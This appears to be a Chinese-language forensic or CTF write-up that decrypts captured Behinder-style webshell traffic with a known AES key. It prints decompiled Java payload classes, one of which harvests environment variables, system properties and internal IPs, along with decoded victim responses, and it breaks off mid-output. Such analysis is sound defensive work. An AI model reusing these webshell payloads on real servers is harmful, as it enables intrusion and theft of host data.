编写一个Python脚本尝试以密钥1f2c8075acd3d118解密其中第1个请求的Payload: import Crypto.Cipher from Crypto.Cipher import AES import base64 def decrypt_behinder(data, key_str): key = key_str.encode('utf-8') raw_data = base64.b64decode(data) cipher = AES.new(key, AES.MODE_ECB) decrypted = cipher.decrypt(raw_data) # 去除 PKCS5Padding padding_len = decrypted[-1] return decrypted[:-padding_len] key = "1f2c8075acd3d118" body = "qjYfBvYIRKQ...ciIgehs=" data=decrypt_behinder(body, key) print(data) with open(f"payload2.bin", "wb") as file: file.write(data) 发现开头CAFEBABE是Java Class的文件头。用Jadx打开: {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长,不想看可以折叠 package net.qmrqiui; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.util.LinkedHashMap; import java.util.Map; import java.util.Random; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: Echo.java */ /* loaded from: payload-favicondemo.ico.class */ public class Fmdrfajtrr { public static String content; public static String payloadBody; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Fmdrfajtrr() { content = ""; content += "1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new LinkedHashMap<>(); try { try { fillContext(obj); result.put("status", "success"); result.put("msg", content); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { e.printStackTrace(); return true; } } catch (Exception e2) { result.put("msg", e2.getMessage()); result.put("status", "success"); try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { e3.printStackTrace(); return true; } } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { e4.printStackTrace(); } throw th; } } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key); if (encode) { value = base64encode(value.getBytes()); } sb.append(value); sb.append("\","); } if (sb.toString().endsWith(",")) { sb.setLength(sb.length() - 1); } sb.append("}"); return sb.toString(); } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现只是返回一串1oMRO2dvZFDzLDMX8h...mqNGvJnB3v数据并base64加密。继续解密回包,得到: {"status":"c3VjY2Vzcw==","msg":"MW9NUk8yZHZaRkR6TERNWDhoTmlZQmgycXpCdlN6U2kxRWFEMnZDTU03UThreHF4clgwODVKbHFGcnQ0MHFrdTZSQ1IwRDBKRjN0UGM1ZllVV1c1T3AwWVA5aExwRzhNUGxndE9wTVliZERIMWlHbXVXTzc1STNYVk85ZXZjeXFoYjE5U2szRXQ5OXdrS2w1ZnNZQVdaS0VvZkptc2lzN1Z2MnVDUndHYnNFNkx2cG1xTkd2Sm5CM3Y="} msg字段Base64解密得到:1oMRO2dvZFDzLDMX8hNiYBh2qzBvSzSi1EaD2vCMM7Q8kxqxrX085JlqFrt40qku6RCR0D0JF3tPc5fYUWW5Op0YP9hLpG8MPlgtOpMYbdDH1iGmuWO75I3XVO9evcyqhb19Sk3Et99wkKl5fsYAWZKEofJmsis7Vv2uCRwGbsE6LvpmqNGvJnB3v,证明猜想正确。 接着继续解密并逆向第二个请求: {collapse} {collapse-item label="代码部分 - 点击展开"} 内容很长,不想看可以折叠 package org.arkpoti.qegfs; import java.io.File; import java.lang.reflect.InvocationTargetException; import java.lang.reflect.Method; import java.net.Inet4Address; import java.net.InetAddress; import java.net.NetworkInterface; import java.net.SocketException; import java.util.Enumeration; import java.util.HashMap; import java.util.Map; import java.util.Properties; import java.util.Random; import java.util.Set; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; /* compiled from: BasicInfo.java */ /* loaded from: payload-favicondemo(2).ico.class */ public class Huhmocmx { public static String whatever; private Object Request; private Object Response; private Object Session; private byte[] Encrypt(byte[] bArr) throws Exception { SecretKeySpec secretKeySpec = new SecretKeySpec("1f2c8075acd3d118".getBytes("utf-8"), "AES"); Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding"); cipher.init(1, secretKeySpec); byte[] bArrDoFinal = cipher.doFinal(bArr); try { Class<?> cls = Class.forName("java.util.Base64"); Object objInvoke = cls.getMethod("getEncoder", null).invoke(cls, null); bArrDoFinal = (byte[]) objInvoke.getClass().getMethod("encode", byte[].class).invoke(objInvoke, bArrDoFinal); } catch (Throwable th) { Object objNewInstance = Class.forName("sun.misc.BASE64Encoder").newInstance(); bArrDoFinal = ((String) objNewInstance.getClass().getMethod("encode", byte[].class).invoke(objNewInstance, bArrDoFinal)).replace("\n", "").replace("\r", "").getBytes(); } return bArrDoFinal; } public Huhmocmx() { whatever = ""; whatever += "nrUlBDIWY47Voq6K0Ro3FKVOpcOgruIO6bGpwEV5tlFcaaUoHwS2bwC1fwgrXuOLNdQIFovDsRYeeoKSIJAgcfLk3PaESDGIkdJTGGMuoc9bXnBzFry0xgmVYy8gHAKaQFUB0MpL39iuIgGUqA3VdLFOQTuLL83nO2jM5E5molVy30DbTUSYVuJryWB0l7nBKIzDn8axk7wPmDyQ6NXiDT68y3aWEWiwI6hnv2sJZwhdIABULpbv0U3C0ble2IrQjKbba5YkdEig5PzTa1oGYgW9oJSyYvtAeABtnzcY6UmgPYRHs37GWJdPKRctwReHJ3SmLYMqeJyyCDp4mURvctnDgfakpjGxmrvTpGYex8mtsogYatwG3yHso81lLM0jFfYYe3QY7Qywg6SL5GgP9p5Ry2ZZ1ksOfxSguSw3KeIjCV7RaGoZyO5YiC8zWWoLAfERhdKlMGixQv6DrR1LNuI0UdJTRWjEtZ0OEFtiG5AXxaxEtxfxUcg0HBJqxfs5aeCurRoGbg3c5M1TaTxFnDx2tnibB9XyS6FGzmOibZBGV8SJo2vf3MuUXwXrI3w8hWsLu4oELUljNSUGhwO5X1gUdDL4XMk0j1dlTIbcjyYnwwAKF9tP3Hlq6ryo9SIbUkJ7gYFl5V09WKjPfZm65qnHGROfrd5n2d7hePLJ0GyD867DHO9K4U3NAbIgKQovDlFSsmjMAcE1jjeAuMl90xvpHeRZucgwZEzZdJb3e4wyufhmXkJy"; } public boolean equals(Object obj) throws IllegalAccessException, NoSuchMethodException, SecurityException, IllegalArgumentException, InvocationTargetException { Map<String, String> result = new HashMap<>(); try { fillContext(obj); StringBuilder basicInfo = new StringBuilder("<br/><font size=2 color=red>环境变量:</font><br/>"); Map<String, String> env = System.getenv(); for (String name : env.keySet()) { basicInfo.append(name + "=" + env.get(name) + "<br/>"); } basicInfo.append("<br/><font size=2 color=red>JRE系统属性:</font><br/>"); Properties props = System.getProperties(); Set<Map.Entry<Object, Object>> entrySet = props.entrySet(); for (Map.Entry<Object, Object> entry : entrySet) { basicInfo.append(entry.getKey() + " = " + entry.getValue() + "<br/>"); } String currentPath = new File("").getAbsolutePath(); String driveList = ""; File[] roots = File.listRoots(); for (File f : roots) { driveList = driveList + f.getPath() + ";"; } String osInfo = System.getProperty("os.name") + System.getProperty("os.version") + System.getProperty("os.arch"); Map<String, String> entity = new HashMap<>(); entity.put("basicInfo", basicInfo.toString()); entity.put("currentPath", currentPath); entity.put("driveList", driveList); entity.put("osInfo", osInfo); entity.put("arch", System.getProperty("os.arch")); entity.put("localIp", getInnerIp()); result.put("status", "success"); result.put("msg", buildJson(entity, true)); try { Object so = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write = so.getClass().getMethod("write", byte[].class); write.invoke(so, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so.getClass().getMethod("flush", new Class[0]).invoke(so, new Object[0]); so.getClass().getMethod("close", new Class[0]).invoke(so, new Object[0]); return true; } catch (Exception e) { return true; } } catch (Exception e2) { try { Object so2 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write2 = so2.getClass().getMethod("write", byte[].class); write2.invoke(so2, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so2.getClass().getMethod("flush", new Class[0]).invoke(so2, new Object[0]); so2.getClass().getMethod("close", new Class[0]).invoke(so2, new Object[0]); return true; } catch (Exception e3) { return true; } } catch (Throwable th) { try { Object so3 = this.Response.getClass().getMethod("getOutputStream", new Class[0]).invoke(this.Response, new Object[0]); Method write3 = so3.getClass().getMethod("write", byte[].class); write3.invoke(so3, Encrypt(buildJson(result, true).getBytes("UTF-8"))); so3.getClass().getMethod("flush", new Class[0]).invoke(so3, new Object[0]); so3.getClass().getMethod("close", new Class[0]).invoke(so3, new Object[0]); } catch (Exception e4) { } throw th; } } private String getInnerIp() throws SocketException { String ips = ""; try { Enumeration<NetworkInterface> netInterfaces = NetworkInterface.getNetworkInterfaces(); while (netInterfaces.hasMoreElements()) { NetworkInterface netInterface = netInterfaces.nextElement(); Enumeration<InetAddress> addresses = netInterface.getInetAddresses(); while (addresses.hasMoreElements()) { InetAddress ip = addresses.nextElement(); if (ip != null && (ip instanceof Inet4Address)) { ips = ips + ip.getHostAddress() + " "; } } } } catch (Exception e) { } return ips.replace("127.0.0.1", "").trim(); } private String buildJson(Map<String, String> entity, boolean encode) throws Exception { StringBuilder sb = new StringBuilder(); String version = System.getProperty("java.version"); sb.append("{"); for (String key : entity.keySet()) { sb.append("\"" + key + "\":\""); String value = entity.get(key).toString(); if (encode) { if (version.compareTo("1.9") >= 0) { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); value = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, value.getBytes("UTF-8")); } else { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); value = ((String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, value.getBytes("UTF-8"))).replace("\n", "").replace("\r", ""); } } sb.append(value); sb.append("\","); } sb.setLength(sb.length() - 1); sb.append("}"); return sb.toString(); } private String base64encode(byte[] data) throws Exception { String result; System.getProperty("java.version"); try { getClass(); Class Base64 = Class.forName("java.util.Base64"); Object Encoder = Base64.getMethod("getEncoder", null).invoke(Base64, null); result = (String) Encoder.getClass().getMethod("encodeToString", byte[].class).invoke(Encoder, data); } catch (Throwable th) { getClass(); Object Encoder2 = Class.forName("sun.misc.BASE64Encoder").newInstance(); String result2 = (String) Encoder2.getClass().getMethod("encode", byte[].class).invoke(Encoder2, data); result = result2.replace("\n", "").replace("\r", ""); } return result; } private void fillContext(Object obj) throws Exception { if (obj.getClass().getName().indexOf("PageContext") >= 0) { this.Request = obj.getClass().getMethod("getRequest", new Class[0]).invoke(obj, new Object[0]); this.Response = obj.getClass().getMethod("getResponse", new Class[0]).invoke(obj, new Object[0]); this.Session = obj.getClass().getMethod("getSession", new Class[0]).invoke(obj, new Object[0]); } else { Map<String, Object> objMap = (Map) obj; this.Session = objMap.get("session"); this.Response = objMap.get("response"); this.Request = objMap.get("request"); } this.Response.getClass().getMethod("setCharacterEncoding", String.class).invoke(this.Response, "UTF-8"); } private byte[] getMagic() throws Exception { String key = this.Session.getClass().getMethod("getAttribute", String.class).invoke(this.Session, "u").toString(); int magicNum = Integer.parseInt(key.substring(0, 2), 16) % 16; Random random = new Random(); byte[] buf = new byte[magicNum]; for (int i = 0; i < buf.length; i++) { buf[i] = (byte) random.nextInt(256); } return buf; } } {/collapse-item} {/collapse} 发现是读取系统信息,返回值: {"msg":"eyJvc0luZm8iOiJUR2x1ZFhnMkxqZ3VNQzA0T0MxblpXNWxjbWxqWVcxa05qUT0iLCJkcml2ZUxpc3QiOiJMenM9IiwibG9jYWxJcCI6Ik1UY3lMakU0TGpBdU1nPT0iLCJjdXJyZW50UGF0aCI6Ikx3PT0iLCJhcmNoIjoiWVcxa05qUT0iLCJiYXNpY0luZm8iOiJQR0p5THo0OFptOXVkQ0J6YVhwbFBUSWdZMjlzYjNJOWNtVmtQdWVPcitXaWcrV1BtT21IanpvOEwyWnZiblErUEdKeUx6NVFRVlJJUFM5MWMzSXZiRzlqWVd3dmMySnBiam92ZFhOeUwyeHZZMkZzTDJKcGJqb3ZkWE55TDNOaWFXNDZMM1Z6Y2k5aWFXNDZMM05pYVc0NkwySnBianhpY2k4K1NFOVRWRTVCVFVVOU1EazNNRFUyWVRnek9Ea3hQR0p5THo1S1FWWkJYMFJGUWtsQlRsOVdSVkpUU1U5T1BUaDFNVEF5TFdJeE5DNHhMVEYrWW5Cdk9Dc3hQR0p5THo1S1FWWkJYMGhQVFVVOUwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrUTBGZlEwVlNWRWxHU1VOQlZFVlRYMHBCVmtGZlZrVlNVMGxQVGoweU1ERTBNRE15TkR4aWNpOCtTa0ZXUVY5V1JWSlRTVTlPUFRoMU1UQXlQR0p5THo1TVFVNUhQVU11VlZSR0xUZzhZbkl2UGtoUFRVVTlMM0p2YjNROFluSXZQanhpY2k4K1BHWnZiblFnYzJsNlpUMHlJR052Ykc5eVBYSmxaRDVLVWtYbnM3dm51NS9sc1o3bWdLYzZQQzltYjI1MFBqeGljaTgrYW1GMllTNXlkVzUwYVcxbExtNWhiV1VnUFNCUGNHVnVTa1JMSUZKMWJuUnBiV1VnUlc1MmFYSnZibTFsYm5ROFluSXZQbXBoZG1FdWNISnZkRzlqYjJ3dWFHRnVaR3hsY2k1d2EyZHpJRDBnYjNKbkxuTndjbWx1WjJaeVlXMWxkMjl5YXk1aWIyOTBMbXh2WVdSbGNqeGljaTgrYzNWdUxtSnZiM1F1YkdsaWNtRnllUzV3WVhSb0lEMGdMM1Z6Y2k5c2FXSXZhblp0TDJwaGRtRXRPQzF2Y0dWdWFtUnJMV0Z0WkRZMEwycHlaUzlzYVdJdllXMWtOalE4WW5JdlBtcGhkbUV1ZG0wdWRtVnljMmx2YmlBOUlESTFMakV3TWkxaU1UUThZbkl2UG1waGRtRXVkbTB1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXFZWFpoTG5abGJtUnZjaTUxY213Z1BTQm9kSFJ3T2k4dmFtRjJZUzV2Y21GamJHVXVZMjl0THp4aWNpOCtjR0YwYUM1elpYQmhjbUYwYjNJZ1BTQTZQR0p5THo1cVlYWmhMblp0TG01aGJXVWdQU0JQY0dWdVNrUkxJRFkwTFVKcGRDQlRaWEoyWlhJZ1ZrMDhZbkl2UG1acGJHVXVaVzVqYjJScGJtY3VjR3RuSUQwZ2MzVnVMbWx2UEdKeUx6NXpkVzR1YW1GMllTNXNZWFZ1WTJobGNpQTlJRk5WVGw5VFZFRk9SRUZTUkR4aWNpOCtjM1Z1TG05ekxuQmhkR05vTG14bGRtVnNJRDBnZFc1cmJtOTNianhpY2k4K1VFbEVJRDBnTVR4aWNpOCthbUYyWVM1MmJTNXpjR1ZqYVdacFkyRjBhVzl1TG01aGJXVWdQU0JLWVhaaElGWnBjblIxWVd3Z1RXRmphR2x1WlNCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1MWMyVnlMbVJwY2lBOUlDODhZbkl2UG1waGRtRXVjblZ1ZEdsdFpTNTJaWEp6YVc5dUlEMGdNUzQ0TGpCZk1UQXlMVGgxTVRBeUxXSXhOQzR4TFRGK1luQnZPQ3N4TFdJeE5EeGljaTgrYW1GMllTNWhkM1F1WjNKaGNHaHBZM05sYm5ZZ1BTQnpkVzR1WVhkMExsZ3hNVWR5WVhCb2FXTnpSVzUyYVhKdmJtMWxiblE4WW5JdlBtcGhkbUV1Wlc1a2IzSnpaV1F1WkdseWN5QTlJQzkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwyVnVaRzl5YzJWa1BHSnlMejV2Y3k1aGNtTm9JRDBnWVcxa05qUThZbkl2UG1waGRtRXVhVzh1ZEcxd1pHbHlJRDBnTDNSdGNEeGljaTgrYkdsdVpTNXpaWEJoY21GMGIzSWdQU0FLUEdKeUx6NXFZWFpoTG5adExuTndaV05wWm1sallYUnBiMjR1ZG1WdVpHOXlJRDBnVDNKaFkyeGxJRU52Y25CdmNtRjBhVzl1UEdKeUx6NXZjeTV1WVcxbElEMGdUR2x1ZFhnOFluSXZQbk4xYmk1cWJuVXVaVzVqYjJScGJtY2dQU0JWVkVZdE9EeGljaTgrYzNCeWFXNW5MbUpsWVc1cGJtWnZMbWxuYm05eVpTQTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWJHbGljbUZ5ZVM1d1lYUm9JRDBnTDNWemNpOXFZWFpoTDNCaFkydGhaMlZ6TDJ4cFlpOWhiV1EyTkRvdmRYTnlMMnhwWWk5NE9EWmZOalF0YkdsdWRYZ3RaMjUxTDJwdWFUb3ZiR2xpTDNnNE5sODJOQzFzYVc1MWVDMW5iblU2TDNWemNpOXNhV0l2ZURnMlh6WTBMV3hwYm5WNExXZHVkVG92ZFhOeUwyeHBZaTlxYm1rNkwyeHBZam92ZFhOeUwyeHBZanhpY2k4K2FtRjJZUzV6Y0dWamFXWnBZMkYwYVc5dUxtNWhiV1VnUFNCS1lYWmhJRkJzWVhSbWIzSnRJRUZRU1NCVGNHVmphV1pwWTJGMGFXOXVQR0p5THo1cVlYWmhMbU5zWVhOekxuWmxjbk5wYjI0Z1BTQTFNaTR3UEdKeUx6NXpkVzR1YldGdVlXZGxiV1Z1ZEM1amIyMXdhV3hsY2lBOUlFaHZkRk53YjNRZ05qUXRRbWwwSUZScFpYSmxaQ0JEYjIxd2FXeGxjbk04WW5JdlBtOXpMblpsY25OcGIyNGdQU0EyTGpndU1DMDRPQzFuWlc1bGNtbGpQR0p5THo1MWMyVnlMbWh2YldVZ1BTQXZjbTl2ZER4aWNpOCtZMkYwWVd4cGJtRXVkWE5sVG1GdGFXNW5JRDBnWm1Gc2MyVThZbkl2UG5WelpYSXVkR2x0WlhwdmJtVWdQU0JGZEdNdlZWUkRQR0p5THo1cVlYWmhMbUYzZEM1d2NtbHVkR1Z5YW05aUlEMGdjM1Z1TG5CeWFXNTBMbEJUVUhKcGJuUmxja3B2WWp4aWNpOCtabWxzWlM1bGJtTnZaR2x1WnlBOUlGVlVSaTA0UEdKeUx6NXFZWFpoTG5Od1pXTnBabWxqWVhScGIyNHVkbVZ5YzJsdmJpQTlJREV1T0R4aWNpOCtZMkYwWVd4cGJtRXVhRzl0WlNBOUlDOTBiWEF2ZEc5dFkyRjBMakl6TnpFMk9EYzJOekV5T1RBNU9EQXpPVEF1T0RBNE1EeGljaTgrYW1GMllTNWpiR0Z6Y3k1d1lYUm9JRDBnTDNOb2FYSnZaR1Z0YnkweExqQXRVMDVCVUZOSVQxUXVhbUZ5UEdKeUx6NTFjMlZ5TG01aGJXVWdQU0J5YjI5MFBHSnlMejVxWVhaaExuWnRMbk53WldOcFptbGpZWFJwYjI0dWRtVnljMmx2YmlBOUlERXVPRHhpY2k4K2MzVnVMbXBoZG1FdVkyOXRiV0Z1WkNBOUlDOXphR2x5YjJSbGJXOHRNUzR3TFZOT1FWQlRTRTlVTG1waGNqeGljaTgrYW1GMllTNW9iMjFsSUQwZ0wzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpUeGljaTgrYzNWdUxtRnlZMmd1WkdGMFlTNXRiMlJsYkNBOUlEWTBQR0p5THo1MWMyVnlMbXhoYm1kMVlXZGxJRDBnWlc0OFluSXZQbXBoZG1FdWMzQmxZMmxtYVdOaGRHbHZiaTUyWlc1a2IzSWdQU0JQY21GamJHVWdRMjl5Y0c5eVlYUnBiMjQ4WW5JdlBtRjNkQzUwYjI5c2EybDBJRDBnYzNWdUxtRjNkQzVZTVRFdVdGUnZiMnhyYVhROFluSXZQbXBoZG1FdWRtMHVhVzVtYnlBOUlHMXBlR1ZrSUcxdlpHVThZbkl2UG1waGRtRXVkbVZ5YzJsdmJpQTlJREV1T0M0d1h6RXdNanhpY2k4K2FtRjJZUzVsZUhRdVpHbHljeUE5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMlY0ZERvdmRYTnlMMnBoZG1FdmNHRmphMkZuWlhNdmJHbGlMMlY0ZER4aWNpOCtjM1Z1TG1KdmIzUXVZMnhoYzNNdWNHRjBhQ0E5SUM5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMM0psYzI5MWNtTmxjeTVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2Y25RdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwzTjFibkp6WVhOcFoyNHVhbUZ5T2k5MWMzSXZiR2xpTDJwMmJTOXFZWFpoTFRndGIzQmxibXBrYXkxaGJXUTJOQzlxY21VdmJHbGlMMnB6YzJVdWFtRnlPaTkxYzNJdmJHbGlMMnAyYlM5cVlYWmhMVGd0YjNCbGJtcGtheTFoYldRMk5DOXFjbVV2YkdsaUwycGpaUzVxWVhJNkwzVnpjaTlzYVdJdmFuWnRMMnBoZG1FdE9DMXZjR1Z1YW1SckxXRnRaRFkwTDJweVpTOXNhV0l2WTJoaGNuTmxkSE11YW1GeU9pOTFjM0l2YkdsaUwycDJiUzlxWVhaaExUZ3RiM0JsYm1wa2F5MWhiV1EyTkM5cWNtVXZiR2xpTDJwbWNpNXFZWEk2TDNWemNpOXNhV0l2YW5adEwycGhkbUV0T0MxdmNHVnVhbVJyTFdGdFpEWTBMMnB5WlM5amJHRnpjMlZ6UEdKeUx6NXFZWFpoTG1GM2RDNW9aV0ZrYkdWemN5QTlJSFJ5ZFdVOFluSXZQbXBoZG1FdWRtVnVaRzl5SUQwZ1QzSmhZMnhsSUVOdmNuQnZjbUYwYVc5dVBHSnlMejVqWVhSaGJHbHVZUzVpWVhObElEMGdMM1J0Y0M5MGIyMWpZWFF1TWpNM01UWTROelkzTVRJNU1EazRNRE01TUM0NE1EZ3dQR0p5THo1bWFXeGxMbk5sY0dGeVlYUnZjaUE5SUM4OFluSXZQbXBoZG1FdWRtVnVaRzl5TG5WeWJDNWlkV2NnUFNCb2RIUndPaTh2WW5WbmNtVndiM0owTG5OMWJpNWpiMjB2WW5WbmNtVndiM0owTHp4aWNpOCtjM1Z1TG1sdkxuVnVhV052WkdVdVpXNWpiMlJwYm1jZ1BTQlZibWxqYjJSbFRHbDBkR3hsUEdKeUx6NXpkVzR1WTNCMUxtVnVaR2xoYmlBOUlHeHBkSFJzWlR4aWNpOCtjM1Z1TG1Od2RTNXBjMkZzYVhOMElEMGdQR0p5THo0PSJ9","status":"c3VjY2Vzcw=="} 对msgBase64解密得到: {"osInfo":"TGludXg2LjguMC04OC1nZW5lcmljYW1kNjQ=","driveList":"Lzs=","localIp":"MTcyLjE4LjAuMg==","currentPath":"Lw==","arch":"YW1kNjQ=","basicInfo":"PGJyLz48Zm9udCBzaXplPTIgY29sb3I9cmVkPueOr+Wig+WPmOmHjzo8L2ZvbnQ+PGJyLz5QQVRIPS91c3IvbG9jYWwvc2JpbjovdXNyL2xvY2FsL2JpbjovdXNyL3NiaW46L3Vzci9iaW46L3NiaW46L2Jpbjxici8+SE9TVE5BTUU9MDk3MDU2YTgzODkxPGJyLz5KQVZBX0RFQklBTl9WRVJTSU9OPTh1MTAyLWIxNC4xLTF+YnBvOCsxPGJyLz5KQVZBX0hPTUU9L3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZTxici8+Q0FfQ0VSVElGSUNBVEVTX0pBVkFfVkVSU0lPTj0yMDE0MDMyNDxici8+SkFWQV9WRVJTSU9OPTh1MTAyPGJyLz5MQU5HPUMuVVRGLTg8YnIvPkhPTUU9L3Jvb3Q8YnIvPjxici8+PGZvbnQgc2l6ZT0yIGNvbG9yPXJlZD5KUkXns7vnu5/lsZ7mgKc6PC9mb250Pjxici8+amF2YS5ydW50aW1lLm5hbWUgPSBPcGVuSkRLIFJ1bnRpbWUgRW52aXJvbm1lbnQ8YnIvPmphdmEucHJvdG9jb2wuaGFuZGxlci5wa2dzID0gb3JnLnNwcmluZ2ZyYW1ld29yay5ib290LmxvYWRlcjxici8+c3VuLmJvb3QubGlicmFyeS5wYXRoID0gL3Vzci9saWIvanZtL2phdmEtOC1vcGVuamRrLWFtZDY0L2pyZS9saWIvYW1kNjQ8YnIvPmphdmEudm0udmVyc2lvbiA9IDI1LjEwMi1iMTQ8YnIvPmphdmEudm0udmVuZG9yID0gT3JhY2xlIENvcnBvcmF0aW9uPGJyLz5qYXZhLnZlbmRvci51cmwgPSBodHRwOi8vamF2YS5vcmFjbGUuY29tLzxici8+cGF0aC5zZXBhcmF0b3IgPSA6PGJyLz5qYXZhLnZtLm5hbWUgPSBPcGVuSkRLIDY0LUJpdCBTZXJ2ZXIgVk08YnIvPmZpbGUuZW5jb2RpbmcucGtnID0gc3VuLmlvPGJyLz5zdW4uamF2YS5sYXVuY2hlciA9IFNVTl9TVEFOREFSRDxici8+c3VuLm9zLnBhdGNoLmxldmVsID0gdW5rbm93bjxici8+UElEID0gMTxici8+amF2YS52bS5zcGVjaWZpY2F0aW9uLm5hbWUgPSBKYXZhIFZpcnR1YWwgTWFjaGluZSBTcGVjaWZpY2F0aW9uPGJyLz51c2VyLmRpciA9IC88YnIvPmphdmEucnVudGltZS52ZXJzaW9uID0gMS44LjBfMTAyLTh1MTAyLWIxNC4xLTF+YnBvOCsxLWIxNDxici8+amF2YS5hd3QuZ3JhcGhpY3NlbnYgPSBzdW4uYXd0LlgxMUdyYXBoaWNzRW52aXJvbm1lbnQ8YnIvPmphdmEuZW5kb3JzZWQuZGlycyA9IC91c3IvbGliL2p2bS9qYXZhLTgtb3Blbmpkay1hbWQ2NC9qcmUvbGliL2VuZG9yc2VkPGJyLz5vcy5hcmNoID0gYW1kNjQ8YnIvPmphdmEuaW8udG1wZGlyID0gL3RtcDxici8+bGluZS5zZXBhcmF0b3IgPSAKPGJyLz5qYXZhLnZtLnN